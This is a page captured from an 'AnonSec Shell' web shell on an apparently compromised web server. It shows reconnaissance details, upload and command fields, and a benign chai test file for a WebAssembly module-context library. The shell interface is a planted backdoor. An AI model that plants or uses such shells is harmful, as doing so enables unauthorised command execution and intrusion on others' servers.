AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/@webassemblyjs/helper-module-context/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/@webassemblyjs/helper-module-context/test/index.js
const { assert } = require("chai");
const { parse } = require("@webassemblyjs/wast-parser");

const { moduleContextFromModuleAST } = require("../lib");

const contextFromWast = wast => moduleContextFromModuleAST(parse(wast).body[0]);

describe("module context", () => {
  describe("start segment", () => {
    it("should return the start function offset", () => {
      const context = contextFromWast(`
        (module
          (func)
          (func)
          (start 1)
        )
      `);

      assert.isOk(context.getStart());
      assert.typeOf(context.getStart(), "number");
      assert.equal(context.getStart(), 1);
    });

    it("should return null if no start function", () => {
      const context = contextFromWast(`
        (module (func))
      `);

      assert.isNull(context.getStart());
    });

    it("should retrive the type of implemented functions", () => {
      const context = contextFromWast(`
        (module
          (func (param i32) (result i64))
          (func (param i64) (result i32))
          (func (result i64))
          (func)
        )
      `);

      assert.deepEqual(context.getFunction(0), {
        args: ["i32"],
        result: ["i64"]
      });
      assert.deepEqual(context.getFunction(1), {
        args: ["i64"],
        result: ["i32"]
      });
      assert.deepEqual(context.getFunction(2), { args: [], result: ["i64"] });
      assert.deepEqual(context.getFunction(3), { args: [], result: [] });
    });

    it("should retrive the type of imported functions", () => {
      const context = contextFromWast(`
        (module
          (import "a" "a" (func (param i32) (result i32)))
          (import "a" "b" (func (result i64)))
          (import "a" "c" (func))
          (func (result f32))
        )
      `);

      assert.deepEqual(context.getFunction(0), {
        args: ["i32"],
        result: ["i32"]
      });
      assert.deepEqual(context.getFunction(1), {
        args: [],
        result: ["i64"]
      });
      assert.deepEqual(context.getFunction(2), { args: [], result: [] });
      assert.deepEqual(context.getFunction(3), { args: [], result: ["f32"] });
    });

    it("should retrive the type of functions with type ref", () => {
      const context = contextFromWast(`
        (module
          (type (func (param i32) (result i32)))
          (type (func (result i64)))
          (type (func))

          (import "a" "a" (func (type 0)))
          (import "a" "b" (func (type 1)))
          (func (type 2))
        )
      `);

      assert.deepEqual(context.getFunction(0), {
        args: ["i32"],
        result: ["i32"]
      });
      assert.deepEqual(context.getFunction(1), {
        args: [],
        result: ["i64"]
      });
      assert.deepEqual(context.getFunction(2), { args: [], result: [] });
    });
  });
});

Anon7 - 2022
AnonSec Team